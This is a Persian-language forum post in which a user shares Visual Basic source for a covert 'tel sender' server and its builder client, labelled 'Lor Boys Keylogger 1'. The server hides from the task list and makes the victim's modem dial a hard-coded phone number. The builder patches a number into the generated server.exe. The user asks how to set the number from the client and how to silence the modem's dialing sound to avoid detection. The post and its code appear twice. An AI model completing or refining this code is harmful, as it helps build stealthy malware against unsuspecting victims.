a_m_i_n_000
دوشنبه 09 دی 1387, 11:19 صبح
من يه سورس تل سندر دارم . واسش يه كلاينت درست كردم . مي خواستم بدونم چه طوري ميشه شماره تلفن رو تو كلاينت داخل textbox وارد كنيم و بعد از ساختن سرور بره تو ر سرور .
البته سورس كلاينت كه گذاشتم بايد يكم تغيير كنه . بلدم چطوري سرور رو به كلاينت ربط بدم . فقط مي خام شماره رو تو كلاينت وارد كنم .
چه طوري ميشه صداي تابلو مودم رو قطع كنم .
اين يه تيكه از كد سرور :
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long
Dim ReDial As Integer
Private Sub Form_Load()
App.TaskVisible = False
End Sub
Private Sub Text1_Change()
End Sub
Private Sub Timer1_Timer()
IsOffLine = InternetGetConnectedState(INTERNET_CONNECTION_MODE M_BUSY, 0&)
If IsOffLine = 0 Then
M1.InputLen = 1
M1.CommPort = 3
M1.Settings = "28800,n,8,1"
If M1.PortOpen = False Then
M1.PortOpen = True
End If
ReDial = ReDial + 1
M1.Output = "ATDT 0911xxxxxxx" + Text1.Text & vbCr
End If
If ReDial = 5 Then End
End Sub
اينم كد كلاينت :
Private Sub Command1_Click()
Dim files() As Byte
files = LoadResData(101, "CUSTOM")
Open App.Path & "\" & "server.exe" For Binary As #1
Put #1, , files()
Close #1
MsgBox "", vbOKOnly, "Lor Boys Keylogger 1"
Open App.Path & "\" & "server.exe" For Binary As #2
Seek #2, 20490
Put #2, , Text1.Text
Close #2
End Sub
Private Sub Form_Load()
End Sub
Private Sub Text1_Change()
End Sub
:چشمک:
البته سورس كلاينت كه گذاشتم بايد يكم تغيير كنه . بلدم چطوري سرور رو به كلاينت ربط بدم . فقط مي خام شماره رو تو كلاينت وارد كنم .
چه طوري ميشه صداي تابلو مودم رو قطع كنم .
اين يه تيكه از كد سرور :
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long
Dim ReDial As Integer
Private Sub Form_Load()
App.TaskVisible = False
End Sub
Private Sub Text1_Change()
End Sub
Private Sub Timer1_Timer()
IsOffLine = InternetGetConnectedState(INTERNET_CONNECTION_MODE M_BUSY, 0&)
If IsOffLine = 0 Then
M1.InputLen = 1
M1.CommPort = 3
M1.Settings = "28800,n,8,1"
If M1.PortOpen = False Then
M1.PortOpen = True
End If
ReDial = ReDial + 1
M1.Output = "ATDT 0911xxxxxxx" + Text1.Text & vbCr
End If
If ReDial = 5 Then End
End Sub
اينم كد كلاينت :
Private Sub Command1_Click()
Dim files() As Byte
files = LoadResData(101, "CUSTOM")
Open App.Path & "\" & "server.exe" For Binary As #1
Put #1, , files()
Close #1
MsgBox "", vbOKOnly, "Lor Boys Keylogger 1"
Open App.Path & "\" & "server.exe" For Binary As #2
Seek #2, 20490
Put #2, , Text1.Text
Close #2
End Sub
Private Sub Form_Load()
End Sub
Private Sub Text1_Change()
End Sub
:چشمک: